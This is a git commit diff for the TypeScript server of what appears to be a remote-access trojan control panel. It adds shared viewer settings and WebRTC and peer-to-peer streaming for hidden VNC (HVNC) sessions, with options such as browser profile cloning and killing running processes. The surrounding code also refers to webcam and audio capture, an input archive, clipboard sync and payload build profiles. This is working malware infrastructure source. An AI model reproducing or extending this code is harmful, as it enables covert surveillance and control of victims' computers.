major improvements
This commit is contained in:
@@ -1649,6 +1649,58 @@ export function deleteBuildProfileForUser(userId: number, name: string): boolean
|
||||
return ((result as any)?.changes || 0) > 0;
|
||||
}
|
||||
|
||||
export interface SharedUiSettingsRecord {
|
||||
scope: string;
|
||||
settingsJson: string;
|
||||
updatedByUserId: number | null;
|
||||
updatedAt: number;
|
||||
}
|
||||
|
||||
export function getSharedUiSettings(scope: string): SharedUiSettingsRecord | null {
|
||||
const row = db
|
||||
.query<any>(
|
||||
`SELECT scope, settings_json, updated_by_user_id, updated_at
|
||||
FROM shared_ui_settings
|
||||
WHERE scope = ?`,
|
||||
)
|
||||
.get(scope);
|
||||
|
||||
if (!row) return null;
|
||||
return {
|
||||
scope: String(row.scope || ""),
|
||||
settingsJson: String(row.settings_json || "{}"),
|
||||
updatedByUserId: row.updated_by_user_id == null ? null : Number(row.updated_by_user_id),
|
||||
updatedAt: Number(row.updated_at) || 0,
|
||||
};
|
||||
}
|
||||
|
||||
export function saveSharedUiSettings(
|
||||
scope: string,
|
||||
settingsJson: string,
|
||||
updatedByUserId: number,
|
||||
): SharedUiSettingsRecord {
|
||||
const now = Date.now();
|
||||
db.run(
|
||||
`INSERT INTO shared_ui_settings (scope, settings_json, updated_by_user_id, updated_at)
|
||||
VALUES (?, ?, ?, ?)
|
||||
ON CONFLICT(scope) DO UPDATE SET
|
||||
settings_json = excluded.settings_json,
|
||||
updated_by_user_id = excluded.updated_by_user_id,
|
||||
updated_at = excluded.updated_at`,
|
||||
scope,
|
||||
settingsJson,
|
||||
updatedByUserId,
|
||||
now,
|
||||
);
|
||||
|
||||
return {
|
||||
scope,
|
||||
settingsJson,
|
||||
updatedByUserId,
|
||||
updatedAt: now,
|
||||
};
|
||||
}
|
||||
|
||||
export interface SavedScriptRecord {
|
||||
id: string;
|
||||
userId: number;
|
||||
|
||||
@@ -329,6 +329,15 @@ db.run(`
|
||||
`);
|
||||
db.run(`CREATE INDEX IF NOT EXISTS idx_build_profiles_user_updated ON build_profiles(user_id, updated_at DESC);`);
|
||||
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS shared_ui_settings (
|
||||
scope TEXT PRIMARY KEY,
|
||||
settings_json TEXT NOT NULL,
|
||||
updated_by_user_id INTEGER,
|
||||
updated_at INTEGER NOT NULL
|
||||
);
|
||||
`);
|
||||
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS saved_scripts (
|
||||
id TEXT PRIMARY KEY,
|
||||
|
||||
@@ -2,12 +2,19 @@ import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
|
||||
import { logger } from "../../logger";
|
||||
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig, updateInputArchiveConfig } from "../../config";
|
||||
import { getClientMetricsSummary, getClientMetricsSummaryForUser, getDatabaseFileSizeBytes, listClients } from "../../db";
|
||||
import {
|
||||
getClientMetricsSummary,
|
||||
getClientMetricsSummaryForUser,
|
||||
getDatabaseFileSizeBytes,
|
||||
getSharedUiSettings,
|
||||
listClients,
|
||||
saveSharedUiSettings,
|
||||
} from "../../db";
|
||||
import { getThumbnailStats } from "../../thumbnails";
|
||||
import { getClientCount, getOnlineClients } from "../../clientManager";
|
||||
import { metrics } from "../../metrics";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, getUserById, getUserInputArchiveEnabled, setUserInputArchiveEnabled } from "../../users";
|
||||
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, canUserAccessFeature, getUserById, getUserInputArchiveEnabled, setUserInputArchiveEnabled, type FeatureName } from "../../users";
|
||||
import { buildClientGraph } from "../client-graph";
|
||||
import { runCertbotSetup } from "../certbot-setup";
|
||||
import {
|
||||
@@ -227,6 +234,76 @@ function summarizeCpuProfile(profile: any, durationMs: number) {
|
||||
};
|
||||
}
|
||||
|
||||
const SHARED_UI_SETTING_FEATURES: Record<string, FeatureName> = {
|
||||
remote_desktop: "remote_desktop",
|
||||
hvnc: "hvnc",
|
||||
};
|
||||
|
||||
function pickString(value: unknown, allowed: readonly string[]): string | undefined {
|
||||
if (typeof value !== "string") return undefined;
|
||||
return allowed.includes(value) ? value : undefined;
|
||||
}
|
||||
|
||||
function pickBoolean(value: unknown): boolean | undefined {
|
||||
return typeof value === "boolean" ? value : undefined;
|
||||
}
|
||||
|
||||
function pickSteppedNumber(
|
||||
value: unknown,
|
||||
min: number,
|
||||
max: number,
|
||||
step = 1,
|
||||
): number | undefined {
|
||||
const parsed = Number(value);
|
||||
if (!Number.isFinite(parsed)) return undefined;
|
||||
const clamped = Math.max(min, Math.min(max, Math.round(parsed)));
|
||||
return Math.round(clamped / step) * step;
|
||||
}
|
||||
|
||||
function assignIfDefined<T extends Record<string, unknown>>(
|
||||
target: T,
|
||||
key: string,
|
||||
value: unknown,
|
||||
): void {
|
||||
if (value !== undefined) target[key] = value;
|
||||
}
|
||||
|
||||
function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, unknown> {
|
||||
const input = raw && typeof raw === "object" && !Array.isArray(raw)
|
||||
? raw as Record<string, unknown>
|
||||
: {};
|
||||
const out: Record<string, unknown> = {};
|
||||
|
||||
assignIfDefined(out, "display", pickSteppedNumber(input.display, 0, 63));
|
||||
assignIfDefined(out, "quality", pickSteppedNumber(input.quality, 10, 100, 5));
|
||||
assignIfDefined(out, "preferH264", pickBoolean(input.preferH264));
|
||||
assignIfDefined(out, "webrtcMode", pickString(input.webrtcMode, ["off", "p2p", "relayed"]));
|
||||
assignIfDefined(out, "mouse", pickBoolean(input.mouse));
|
||||
assignIfDefined(out, "keyboard", pickBoolean(input.keyboard));
|
||||
assignIfDefined(out, "clipboardSync", pickBoolean(input.clipboardSync));
|
||||
|
||||
if (scope === "remote_desktop") {
|
||||
assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
|
||||
assignIfDefined(out, "targetFps", pickString(input.targetFps, ["30", "60", "90", "120", "144", "165", "240"]));
|
||||
assignIfDefined(out, "cursor", pickBoolean(input.cursor));
|
||||
assignIfDefined(out, "duplication", pickBoolean(input.duplication));
|
||||
assignIfDefined(out, "audio", pickBoolean(input.audio));
|
||||
assignIfDefined(out, "audioTransport", pickString(input.audioTransport, ["off", "p2p", "relayed"]));
|
||||
assignIfDefined(out, "smoothing", pickSteppedNumber(input.smoothing, 0, 80, 5));
|
||||
assignIfDefined(out, "recordMode", pickString(input.recordMode, ["normal", "compact"]));
|
||||
assignIfDefined(out, "recordFps", pickString(input.recordFps, ["", "3", "5", "10", "15", "30", "60"]));
|
||||
} else if (scope === "hvnc") {
|
||||
assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
|
||||
assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
|
||||
assignIfDefined(out, "uia", pickBoolean(input.uia));
|
||||
assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile));
|
||||
assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite));
|
||||
assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning));
|
||||
}
|
||||
|
||||
return out;
|
||||
}
|
||||
|
||||
async function runInspectorCpuProfile(durationMs: number) {
|
||||
const inspector = await loadInspectorRuntime();
|
||||
const Session = (inspector as any).Session;
|
||||
@@ -396,6 +473,67 @@ export async function handleMiscRoutes(
|
||||
});
|
||||
}
|
||||
|
||||
if (url.pathname.startsWith("/api/ui-settings/")) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return Response.json({ error: "Not authenticated" }, { status: 401 });
|
||||
}
|
||||
|
||||
const scope = decodeURIComponent(url.pathname.slice("/api/ui-settings/".length));
|
||||
const feature = SHARED_UI_SETTING_FEATURES[scope];
|
||||
if (!feature) {
|
||||
return Response.json({ error: "Unknown UI settings scope" }, { status: 404 });
|
||||
}
|
||||
if (!canUserAccessFeature(user.userId, user.role, feature)) {
|
||||
return Response.json({ error: "Forbidden" }, { status: 403 });
|
||||
}
|
||||
|
||||
if (req.method === "GET") {
|
||||
const record = getSharedUiSettings(scope);
|
||||
let settings: Record<string, unknown> = {};
|
||||
if (record?.settingsJson) {
|
||||
try {
|
||||
settings = sanitizeSharedUiSettings(scope, JSON.parse(record.settingsJson));
|
||||
} catch {
|
||||
settings = {};
|
||||
}
|
||||
}
|
||||
return Response.json(
|
||||
{
|
||||
scope,
|
||||
settings,
|
||||
updatedAt: record?.updatedAt || null,
|
||||
updatedByUserId: record?.updatedByUserId || null,
|
||||
},
|
||||
{ headers: deps.CORS_HEADERS },
|
||||
);
|
||||
}
|
||||
|
||||
if (req.method === "PUT") {
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
|
||||
const settings = sanitizeSharedUiSettings(scope, body?.settings);
|
||||
const record = saveSharedUiSettings(scope, JSON.stringify(settings), user.userId);
|
||||
return Response.json(
|
||||
{
|
||||
ok: true,
|
||||
scope,
|
||||
settings,
|
||||
updatedAt: record.updatedAt,
|
||||
updatedByUserId: record.updatedByUserId,
|
||||
},
|
||||
{ headers: deps.CORS_HEADERS },
|
||||
);
|
||||
}
|
||||
|
||||
return Response.json({ error: "Method not allowed" }, { status: 405 });
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/settings/telegram") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
|
||||
@@ -24,7 +24,7 @@ export function issueWebrtcPublishToken(clientId: string): string {
|
||||
return token;
|
||||
}
|
||||
|
||||
export type WebrtcKind = "desktop" | "webcam" | "audio";
|
||||
export type WebrtcKind = "desktop" | "hvnc" | "webcam" | "audio";
|
||||
|
||||
export function webrtcStreamPathFor(clientId: string, kind: WebrtcKind): string {
|
||||
return `agents/${clientId}/${kind}`;
|
||||
@@ -35,7 +35,7 @@ export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Respon
|
||||
|
||||
const rest = url.pathname.slice("/api/webrtc/".length);
|
||||
// /api/webrtc/agents/<clientId>/<kind>/(whip|whep)[/<sessionId>]
|
||||
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
|
||||
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|hvnc|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
|
||||
if (!match) return new Response("Not Found", { status: 404 });
|
||||
|
||||
const [, streamPath, kind, sessionSuffix] = match;
|
||||
|
||||
@@ -941,6 +941,7 @@ export function handleWebSocketClose(
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
deps.sendDesktopCommand(target, "desktop_stop", {});
|
||||
deps.sendDesktopCommand(target, "webrtc_stop", { kind: "desktop" });
|
||||
deps.rdStreamingState.delete(removedClientId);
|
||||
logger.debug(`[rd] cleaned up state for client ${removedClientId}`);
|
||||
}
|
||||
@@ -970,6 +971,7 @@ export function handleWebSocketClose(
|
||||
}
|
||||
|
||||
if (role === "hvnc_viewer") {
|
||||
deps.cleanupRdViewerP2P(ws);
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
@@ -984,6 +986,7 @@ export function handleWebSocketClose(
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
if (target) {
|
||||
deps.sendHVNCCommand(target, "hvnc_stop", {});
|
||||
deps.sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
|
||||
}
|
||||
deps.hvncStreamingState.delete(removedClientId);
|
||||
logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`);
|
||||
|
||||
@@ -2,7 +2,7 @@ import type { ServerWebSocket } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
|
||||
export type P2PKind = "desktop" | "webcam" | "audio";
|
||||
export type P2PKind = "desktop" | "hvnc" | "webcam" | "audio";
|
||||
|
||||
export type P2PSession = {
|
||||
viewer: ServerWebSocket<SocketData>;
|
||||
|
||||
@@ -122,4 +122,30 @@ describe("remote desktop viewer control", () => {
|
||||
expect(rdStreamingState.get(clientId)?.isStreaming).not.toBe(true);
|
||||
expect(viewer.sent.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
test("reasserts desktop_start when server stream state is stale", () => {
|
||||
const clientId = `rd-stale-${Date.now().toString(36)}`;
|
||||
const { agentWs } = createClient(clientId);
|
||||
const viewer = createMockWs({ clientId });
|
||||
rdStreamingState.set(clientId, {
|
||||
isStreaming: true,
|
||||
display: 0,
|
||||
quality: 90,
|
||||
codec: "h264",
|
||||
duplication: true,
|
||||
maxHeight: 1080,
|
||||
maxFps: 120,
|
||||
lastFps: 1,
|
||||
lastFrameAt: 0,
|
||||
startedAt: Date.now() - 5000,
|
||||
});
|
||||
|
||||
handleRemoteDesktopViewerOpen(viewer as any);
|
||||
handleRemoteDesktopViewerMessage(viewer as any, JSON.stringify({ type: "desktop_start" }));
|
||||
|
||||
const commands = agentCommands(agentWs);
|
||||
expect(commands.filter((msg) => msg.commandType === "desktop_start")).toHaveLength(1);
|
||||
expect(commands.filter((msg) => msg.commandType === "desktop_request_keyframe")).toHaveLength(0);
|
||||
expect(rdStreamingState.get(clientId)?.isStreaming).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -170,6 +170,8 @@ export const rdStreamingState = new Map<string, {
|
||||
maxHeight: number;
|
||||
maxFps: number;
|
||||
lastFps: number;
|
||||
lastFrameAt: number;
|
||||
startedAt: number;
|
||||
}>();
|
||||
const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
|
||||
const RD_INPUT_TTL_MS = 10_000;
|
||||
@@ -183,7 +185,18 @@ function pruneRdInputPending(now = Date.now()) {
|
||||
}
|
||||
|
||||
function defaultRdStreamingState() {
|
||||
return { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false, maxHeight: 0, maxFps: 120, lastFps: 0 };
|
||||
return {
|
||||
isStreaming: false,
|
||||
display: 0,
|
||||
quality: 90,
|
||||
codec: "",
|
||||
duplication: false,
|
||||
maxHeight: 0,
|
||||
maxFps: 120,
|
||||
lastFps: 0,
|
||||
lastFrameAt: 0,
|
||||
startedAt: 0,
|
||||
};
|
||||
}
|
||||
|
||||
function clampDesktopFps(value: unknown): number {
|
||||
@@ -379,10 +392,27 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
sendDesktopCommand(target, "desktop_set_fps", { fps: clampDesktopFps(state.maxFps) });
|
||||
sendDesktopCommand(target, "desktop_start", {});
|
||||
state.isStreaming = true;
|
||||
state.startedAt = Date.now();
|
||||
rdStreamingState.set(clientId, state);
|
||||
logger.debug(`[rd-debug] desktop_start forwarded client=${clientId} nextState=${JSON.stringify(state)} webrtc=${(payload as any).webrtc === true}`);
|
||||
} else {
|
||||
logger.warn(`[rd-debug] desktop_start ignored duplicate client=${clientId} state=${JSON.stringify(state)} viewers=${sessionManager.getRdSessionsForClient(clientId).length}`);
|
||||
const lastFrameAgeMs = state.lastFrameAt ? Date.now() - state.lastFrameAt : Number.POSITIVE_INFINITY;
|
||||
const startAgeMs = state.startedAt ? Date.now() - state.startedAt : Number.POSITIVE_INFINITY;
|
||||
if (lastFrameAgeMs > 3000 && startAgeMs > 3000) {
|
||||
logger.info(`[rd-debug] desktop_start reasserting stale stream client=${clientId} lastFrameAgeMs=${Number.isFinite(lastFrameAgeMs) ? lastFrameAgeMs : -1} state=${JSON.stringify(state)} viewers=${sessionManager.getRdSessionsForClient(clientId).length}`);
|
||||
sendDesktopCommand(target, "desktop_set_fps", { fps: clampDesktopFps(state.maxFps) });
|
||||
sendDesktopCommand(target, "desktop_start", {});
|
||||
state.isStreaming = true;
|
||||
state.startedAt = Date.now();
|
||||
rdStreamingState.set(clientId, state);
|
||||
} else {
|
||||
logger.debug(`[rd-debug] desktop_start already active client=${clientId} lastFrameAgeMs=${lastFrameAgeMs} startAgeMs=${startAgeMs} state=${JSON.stringify(state)} viewers=${sessionManager.getRdSessionsForClient(clientId).length}`);
|
||||
if (String(state.codec || "").toLowerCase() === "h264") {
|
||||
sendDesktopCommand(target, "desktop_request_keyframe", {
|
||||
reason: "viewer_start_existing_stream",
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
case "desktop_stop": {
|
||||
@@ -395,10 +425,12 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
sendDesktopCommand(target, "webrtc_stop", { kind: "desktop" });
|
||||
if (state.isStreaming) {
|
||||
state.isStreaming = false;
|
||||
state.startedAt = 0;
|
||||
state.lastFrameAt = 0;
|
||||
rdStreamingState.set(clientId, state);
|
||||
logger.debug(`[rd] stopped streaming for client ${clientId}`);
|
||||
} else {
|
||||
rdStreamingState.set(clientId, { ...state, isStreaming: false });
|
||||
rdStreamingState.set(clientId, { ...state, isStreaming: false, startedAt: 0, lastFrameAt: 0 });
|
||||
logger.debug(`[rd] stop requested while not streaming for client ${clientId}`);
|
||||
}
|
||||
} else {
|
||||
@@ -672,9 +704,11 @@ function handleRemoteDesktopFrame(payload: any) {
|
||||
const state = rdStreamingState.get(clientId) || defaultRdStreamingState();
|
||||
if (!state.isStreaming) {
|
||||
state.isStreaming = true;
|
||||
state.startedAt = Date.now();
|
||||
}
|
||||
const frameFps = Number(header?.fps) || 0;
|
||||
if (frameFps > 0) state.lastFps = frameFps;
|
||||
state.lastFrameAt = Date.now();
|
||||
rdStreamingState.set(clientId, state);
|
||||
const now = Date.now();
|
||||
const lastDebugFrameLog = rdDebugFrameLogAt.get(clientId) || 0;
|
||||
@@ -690,6 +724,7 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header
|
||||
if (frameFps > 0) {
|
||||
const state = rdStreamingState.get(clientId) || { ...defaultRdStreamingState(), isStreaming: true };
|
||||
state.lastFps = frameFps;
|
||||
state.lastFrameAt = Date.now();
|
||||
rdStreamingState.set(clientId, state);
|
||||
}
|
||||
recordRemoteDesktopFrame(clientId, header, bytes);
|
||||
@@ -703,7 +738,20 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header
|
||||
return broadcastRemoteDesktopFrame(clientId, bytes, header);
|
||||
};
|
||||
|
||||
export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; codec: string }>();
|
||||
type HVNCStreamingState = {
|
||||
isStreaming: boolean;
|
||||
display: number;
|
||||
quality: number;
|
||||
codec: string;
|
||||
maxFps: number;
|
||||
lastFps: number;
|
||||
};
|
||||
|
||||
function defaultHVNCStreamingState(): HVNCStreamingState {
|
||||
return { isStreaming: false, display: 0, quality: 90, codec: "", maxFps: 120, lastFps: 0 };
|
||||
}
|
||||
|
||||
export const hvncStreamingState = new Map<string, HVNCStreamingState>();
|
||||
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean; quality: number; codec: string }>();
|
||||
|
||||
export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
@@ -1031,12 +1079,30 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
return;
|
||||
}
|
||||
|
||||
const state = hvncStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "" };
|
||||
const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState();
|
||||
|
||||
logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
|
||||
switch (payload.type) {
|
||||
case "hvnc_start":
|
||||
if (!state.isStreaming) {
|
||||
if ((payload as any).webrtc === true) {
|
||||
const streamPath = webrtcStreamPathFor(clientId, "hvnc");
|
||||
const token = issueWebrtcPublishToken(clientId);
|
||||
sendHVNCCommand(target, "webrtc_publish", {
|
||||
streamPath,
|
||||
whipPath: `/api/webrtc/${streamPath}/whip`,
|
||||
token,
|
||||
kind: "hvnc",
|
||||
hasVideo: true,
|
||||
hasAudio: false,
|
||||
});
|
||||
safeSendViewer(ws, {
|
||||
type: "webrtc_ready",
|
||||
streamPath,
|
||||
whepPath: `/api/webrtc/${streamPath}/whep`,
|
||||
});
|
||||
}
|
||||
sendHVNCCommand(target, "hvnc_set_fps", { fps: clampDesktopFps(state.maxFps) });
|
||||
sendHVNCCommand(target, "hvnc_start", {
|
||||
autoStartExplorer: false,
|
||||
});
|
||||
@@ -1053,6 +1119,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
if (otherHvncViewers.length === 0) {
|
||||
if (state.isStreaming) {
|
||||
sendHVNCCommand(target, "hvnc_stop", {});
|
||||
sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
|
||||
state.isStreaming = false;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] stopped streaming for client ${clientId}`);
|
||||
@@ -1086,6 +1153,16 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "hvnc_set_fps": {
|
||||
const newMaxFps = clampDesktopFps((payload as any).fps);
|
||||
if (state.maxFps !== newMaxFps) {
|
||||
sendHVNCCommand(target, "hvnc_set_fps", { fps: newMaxFps });
|
||||
state.maxFps = newMaxFps;
|
||||
hvncStreamingState.set(clientId, state);
|
||||
logger.debug(`[hvnc] set target fps=${newMaxFps}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "hvnc_enable_mouse":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_mouse", { enabled: !!payload.enabled });
|
||||
break;
|
||||
@@ -1229,6 +1306,34 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
sendDesktopCommand(target, "clipboard_sync_stop", {});
|
||||
break;
|
||||
}
|
||||
case "webrtc_p2p_offer": {
|
||||
const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
|
||||
if (!sdp) break;
|
||||
const sessionId = createP2PSession(ws, clientId, "hvnc");
|
||||
sendHVNCCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "hvnc", hasVideo: true, hasAudio: false });
|
||||
break;
|
||||
}
|
||||
case "webrtc_p2p_ice": {
|
||||
const sessionId = getP2PSessionIdForViewer(ws);
|
||||
if (!sessionId) break;
|
||||
const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
|
||||
if (!candidate) break;
|
||||
sendHVNCCommand(target, "webrtc_p2p_ice", {
|
||||
sessionId,
|
||||
kind: "hvnc",
|
||||
candidate,
|
||||
sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
|
||||
sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "webrtc_p2p_stop": {
|
||||
const cleared = clearP2PSessionForViewer(ws);
|
||||
if (cleared) {
|
||||
sendHVNCCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind });
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
@@ -1239,6 +1344,15 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload
|
||||
}
|
||||
|
||||
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState();
|
||||
if (!state.isStreaming) {
|
||||
state.isStreaming = true;
|
||||
}
|
||||
const frameFps = Number(header?.fps) || 0;
|
||||
if (frameFps > 0) {
|
||||
state.lastFps = frameFps;
|
||||
}
|
||||
hvncStreamingState.set(clientId, state);
|
||||
const buf = buildViewerFrameBuffer(bytes, header);
|
||||
return broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header);
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user